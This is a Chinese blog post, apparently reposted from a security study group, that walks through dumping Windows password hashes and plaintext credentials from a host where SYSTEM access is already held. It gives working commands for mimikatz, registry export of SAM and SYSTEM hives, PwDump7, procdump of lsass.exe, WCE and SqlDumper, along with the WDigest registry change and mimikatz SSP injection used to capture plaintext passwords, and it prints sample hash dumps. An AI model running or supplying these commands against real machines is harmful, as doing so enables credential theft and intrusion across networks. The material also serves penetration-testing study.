Windows密码凭证获取学习

最新推荐文章于 2024-10-12 11:51:50 发布
最新推荐文章于 2024-10-12 11:51:50 发布
阅读量4.7k 收藏 28
点赞数 3
分类专栏： 工具 文章标签： 乌鸦安全 windows 密码 NTLM
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/csdnmmd/article/details/126221638
版权

img

本文首发乌鸦安全知识星球！

公众号：乌鸦安全

更新时间：2022.08.04

1. 说明

本文参考了大量的第三方文档，参考资料如下，感谢各位师傅的帮助。

https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2

2. Windows获取凭证或密码

一般来说，在我们获取到Windows的system权限之后，一般都喜欢去看下密码，哪怕是hash，也想尝试去解一下，Windows下的安全认证机制总共有两种，一种是基于NTLM的认证方式，主要用在早期的Windows工作组环境中；另一种是基于Kerberos的认证方式，主要用在域环境中。
关于NTLM的知识，在这里就不在展开了，有兴趣的可以去搜下。

3. 环境准备

本次环境共准备了Windows server2003、Windows7、Windows10、Windows server2012，按照他们的特点，有针对的进行实操获取。
本文默认已获取system权限的情况下进行操作。

4. 获取密码或hash方法

4.1 ** Mimikatz**

这个神器肯定是大家都不陌生的， 以前我也写过关于这个工具的免杀。
原版工具：https://github.com/gentilkiwi/mimikatz
image.png
使用方法：

privilege::debug 
提升权限，返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

4.1.1 server2003

systeminfo查看当前的电脑是32位的，所以在这里就使用32位的来试下：
image.png

执行命令之后可以直接获取到明文：

privilege::debug 
sekurlsa::logonpasswords

image.png

4.1.2 windows10

在这里先关闭Windows10的Windows defender，在这里并不对其进行免杀研究，直接使用x64位的之后，来获取hash：
image.png

执行命令之后只能够获取hash，不能够直接获取明文：

image.png

209c6174da490caeb422f3fa5a7ae634

可以通过第三方的方式来获取密码：
image.png

当然，mimikatz也可以使用非交互的方式来获取hash：

mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

image.png

image.png

4.2 注册表导出hash

有时候，因为某些问题，导致无法直接获取hash，所以在这里还可以使用注册表导出hash的方式来进行，具体的步骤如下：
在靶机上使用以下命令（需要system权限）：

靶机上执行：
reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv


在本地使用mimikatz执行：
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

4.2.1 server2003

打开cmd执行命令，导出system.hiv，sam.hiv，security.hiv文件：

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv

image.png

最后使用mimikatz执行，在非靶标机器上，不需要system权限：

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

image.png

RID  : 000001f4 (500)
User : Administrator
  Hash LM  : f0d412bd764ffe81aad3b435b51404ee
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

直接去查询即可。

4.2.2 Windows10

使用同样的方法导出之后再解密：
image.png

获取到hash信息：

image.png

User : admin
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

4.3 pass64.exe

这个文件是我早些时候渗透的时候获得的，在win7、8等低于Windows10的系统上（这种说法不严谨），使用system权限运行能够直接获取64位系统的账号和密码信息。
这个工具应该是PwDump7工具的魔改版本。
在win10上因为无法获取账号密码报错：
image.png

win7环境下：
image.png

4.4 PwDump7

https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
image.png

4.4.1 server2003

可以在Windows2003上执行，手工将得到的结果保存在1.txt中：
PwDump7.exe > 1.txt
image.png

Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

4.4.2 windows10

image.png

4.5 Procdump+Mimikatz

ProcDump是一个命令行程序，可以将系统正在运行的进程转存储生成为dump文件，微软自己的工具，理论上来说不应该会被杀。
它的原理是Procdump导出lsass.exe的转储文件，使用mimikatz读取器中的hash。
如果对方机器是win10以下的，都可以获取明文密码。

地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用方法：
先dump出lsass.exe：

32位：
procdump.exe -accepteula -ma lsass.exe lsass.dmp

64位：
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

mimikatz读取：

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.5.1 server2003

无法使用
image.png

4.5.2 Windows10

执行命令：

procdump.exe -accepteula -ma lsass.exe lsass.dmp

image.png

然后使用mimikatz读取：

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

image.png

4.6 WCE

官网地址：
https://www.ampliasecurity.com/research.html
32位下载：
https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载：
https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
image.png

参数解释:
-l          列出登录的会话和NTLM凭据（默认值）
-s               修改当前登录会话的NTLM凭据 参数：<用户名>:<域名>:<LM哈希>:<NT哈希>
-r                不定期的列出登录的会话和NTLM凭据，如果找到新的会话，那么每5秒重新列出一次
-c               用一个特殊的NTML凭据运行一个新的会话 参数：<cmd>
-e               不定期的列出登录的会话和NTLM凭据，当产生一个登录事件的时候重新列出一次
-o               保存所有的输出到一个文件 参数:<文件名>
-i                指定一个LUID代替使用当前登录会话 参数:<luid>
-d               从登录会话中删除NTLM凭据 参数:<luid>
-a               使用地址 参数: <地址>
-f                强制使用安全模式
-g               生成LM和NT的哈希 参数<密码>
-K               缓存kerberos票据到一个文件（unix和windows wce格式）
-k               从一个文件中读取kerberos票据并插入到windows缓存中
-w              通过摘要式认证缓存一个明文的密码
-v               详细输出

使用方法：wce.exe -l或者直接wce。

4.6.1 server2003

image.png

4.6.2 Windows10

无法使用：
image.png

4.6.3 Windows7

正常执行：
image.png

4.7 SqlDumper + mimikatz（失败）

因为没有安装sqlserver，可能导致最后无法执行成功。
可以从https://www.xiazaiba.com/html/35382.html下载工具（我在win10 defender下是默认无毒的）
首先查看下当前lsass.exe的进程号：
tasklist /svc |findstr lsass.exe

image.png

找到Sqldumper.exe的安装路径，使用管理员权限的cmd导出dump文件，使用方法：

Sqldumper.exe ProcessID 0 0x01100

在这里使用就是：（失败）
image.png
放一个成功的图：
image.png

3.mimikatz加载dump文件
mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp"“sekurlsa::logonPasswords full”“exit”
image.png

5. Windows获取明文密码

在这里主要是获取Windows高版本的明文密码，因为在Windows2012系统及以上的系统，默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文，需要用户重新登录后才能成功抓取。
本次环境Windows server2012，本文默认已获取system权限的情况下进行操作。
而且本文不讨论抓取密码工具或方法的免杀方式。

6. 获取明文密码方法

6.1 修改注册表

前提条件：

  • system权限
  • 需要锁屏后重新登录

在这里依旧使用mimikatz进行密码的抓取，默认情况下是无法获取明文信息的：

privilege::debug 
提升权限，返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

image.png

使用命令行将其修改成记录明文密码，在这里需要注意使用管理员权限来执行：

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

image.png

再使用命令锁屏：（这个命令可以使用用户权限来执行）
image.png

rundll32.exe user32.dll,LockWorkStation

接下来等待用户再次登录一次就可以抓到了：
image.png

如果说在修改之后抓取到了密码，想要恢复对方的注册表，只需要执行下面的命令即可：（依旧需要使用管理员权限）

修改不记录明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

image.png
再次重启下就可以了：（锁屏无效）

privilege::debug 
提升权限，返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

image.png

6.2 mimikatz插ssp记录密码

需要的条件：

  • system权限
  • 锁屏并重新登入

在这里使用mimikatz来实现：

privilege::debug

misc::memssp

image.png

修改完之后使用以下命令锁屏：rundll32.exe user32.dll,LockWorkStation
然后在以下目录下发现明文密码：

C:\Windows\System32\mimilsa.log

image.png

7. 总结

其实还有很多的其他方法，在这里就不进行一个个演示了，而且在这里并没有对其是否免杀的能力进行测试，对于不同的环境，免杀的方法也不相同，等以后有时间再学习下。

乌鸦安全
关注
专栏目录
获取本机所有明文密码
08-15
标题中的“获取本机所有明文密码”暗示了一个关于计算机安全和密码提取的话题。这个工具似乎设计用于在Windows操作系统中揭示存储的各种密码，包括浏览器保存的登录凭据和电子邮件等系统的密码。这样的程序可能对...
如何查看 Windows 凭据保存的密码？3 种方法快速查看
qq_57728300的博客
09-18 7129
本文总结 3 种不同的方法来查看 Windows 凭据保存的密码。
查看window电脑的凭据密码（netpass）
jj2320711457的博客
05-08 2441
根据自身的windows版本下载对应的版本，解压密码：ntps5291#
查看Windows凭据和普通凭据的密码（查看Windows中存储的密码）——mimikatz
热门推荐
一碗单炒饭的专栏
02-10 6万+
使用mimikatz进行Windows中存储的密码查看 查看Windows为你管理的凭据 路径：控制面板\所有控制面板项\凭据管理器 软件下载 https://github.com/gentilkiwi/mimikatz/releases 下载完成后，以管理员方式运行mimikatz 查看Windows凭据 输入下方两个指令(#号后面的) mimikatz # privilege::debug...
内网中的主机密码抓取
Amire0x的小乐园
11-29 2686
密码抓取 Mimikatz mimikatz的几大运行方式 使用前先将对应版本的mimikazi传上去 运行如下 命令不支持粘贴，不区分大小写 基本使用 基于win2003测试 列出导出凭证 crypto::certificates 获得debug权限（需要debug权限来执行一些mimikatz命令） privilege::debug 提升成功则会返回 OK 获取所有可用的提供者凭据，可得到当前账户的密码 sekurlsa::logonpasswords 查看token tok
获取windows凭证管理器明文密码
weixin_30897079的博客
04-26 1万+
1.运行cmdkey /list查看windows保存凭证 方法1.mimikaz mimikatz vault::cred 2.利用powershell尝试获取 windows 普通凭据类型中的明文密码 powershell-import F:\tools\powershell脚本\Invoke-WCMDump.ps1 powershell Invoke-WCMDd...
获取Windows明文密码mimikatz2.2-x64.rar
03-19
标题 "获取Windows明文密码mimikatz2.2-x64.rar" 指向的是一个使用Mimikatz工具来提取Windows系统中明文密码的过程。Mimikatz是一款由法国安全研究员Benjamin Delpy开发的开源工具，主要用于系统安全分析，特别是...
GINA_获取密码
07-11
【GINA_获取密码】是针对Windows操作系统的一个特殊知识点，主要涉及到Windows登录认证机制和密码获取的技术。在Windows系统中，GINA（Generic Interface for Network Authentication）是图形身份验证接口，它负责...
windows 密码抓捕神器mimikatz
08-15
Mimikatz，这款被称为“Windows密码抓捕神器”的工具，是由法国安全研究员Benjamin Delpy所创建的一款轻量级调试器。在IT安全领域，尤其是渗透测试和安全研究中，Mimikatz因其强大的功能而备受推崇。它能够帮助安全...
Network Password Recovery工具查看windows凭据隐藏密码
liu_6036_doom的博客
02-15 9743
查看windows凭据密码 方法一： 使用重装系统工具里面自带的修改密码工具来修改或者清除密码。 方法二： 查看windows凭据密码，这里居然看不了 需要用到 nirsoft 公司做的免费工具Network Password Recovery注意下载版本，分32位、64位版本，如果版本不对应是显示不出密码的！ 如果你们无法下载可以用我已下载好的软件包： 链接：https://pan.baidu.com/s/1Aq479rN1MLgSLnY7_jnncg 提取码...
忘记电脑已登录Git账号密码？教你查看Windows凭据里的密码
最新发布
Vi_Jay的博客
10-12 402
如下图，当我们想要查看windows已经登录记录过的账号密码时，发现只可以看到账号和星号，却看不到我们真实的密码。在凭据名称中输入对于的名称（即上图箭头所指的名称），点击查看即可看到隐藏的密码了。接下来分享一款免费的程序，帮你查看储存在我们电脑上的Windows凭据的密码。
windows凭据密码怎么查看_管理Windows访问凭证，快速访问局域网上的共享资源
weixin_39811478的博客
12-05 2万+
内部网访问其他电脑的共享资源，基本上需要输入访问对方电脑资源允许的账号和密码。在第一次的访问中选择保存凭据后，以后访问就不要输入相应的账号和密码了。但也会出现因修改相关的访问密码或者取消了访问账号的改变，这样就会出现凭据失效的情况。下面介绍下Windows的凭据管理，达到定期管理你的凭据，做到快速的访问局域网上的共享资源。下面以Windows 7操作系统为例。打开Windows 7的"控制面板"，...
windows凭据密码怎么查看_win7系统怎么添加和管理windows凭证
weixin_39777019的博客
12-12 1万+
我们在使用win7系统的过程当中，很多时候都需要频繁的登录某些服务器，如果每次都要输入用户与密码就会觉得很麻烦，其实我们可以为win7系统添加windows凭证，这样系统就会自动完成凭据的认证过程，就不用每次都要输入密码，那么win7系统怎么添加和管理windows凭证呢?今天为大家分享win7系统添加和管理windows凭证的操作方法。 凭据管理器有什么用? 凭据管理器是Win7系统的一个系统组...
凭证窃取的几种方式
Wawyw's Blog
07-19 1223
0x01 Windows登录凭证窃取 Windows的系统密码hash默认情况下一般由两部分组成：第一部分是LM-hash，第二部分是NTLM-hash。它们都是用户密码经过hash加密后的形式。 Windows系统下hash密码格式为：用户名称:RID:LM-HASH值:NT-HASH值。 例如： Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040 用户名称为：Administrato
Windows密码凭证获取
weixin_51151498的博客
06-28 561
密码凭证获取
如何查看windows凭据管理器-windows 凭据 里保存的密码
m0_58805332的博客
12-12 7277
只要使用神器mimikatz 2.1.1的会报Logon list 错，用2.20版本不会报错 2.2 0 版本百度云下载连接： 链接：https://pan.baidu.com/s/1BmmjlkapyYQzYLE61Oz_zQ 提取码：rren 2.2 0 版本的只需要两条命令就可以了 mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords 资源背景：神器...
获取Windows系统密码凭证 (ﾟ益ﾟメ) 渗透测试
寻觅的博客
03-04 3672
文章目录Windows 加密简介Windows 哈希过程Windows 凭证获取使用猕猴桃(mimikatz) Windows 加密简介 在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支,Windows早期版本大多使用LAN Manager（LM）方法进行哈希,但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager（NTLM）方法哈希。 Windows系统下hash密码格式
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值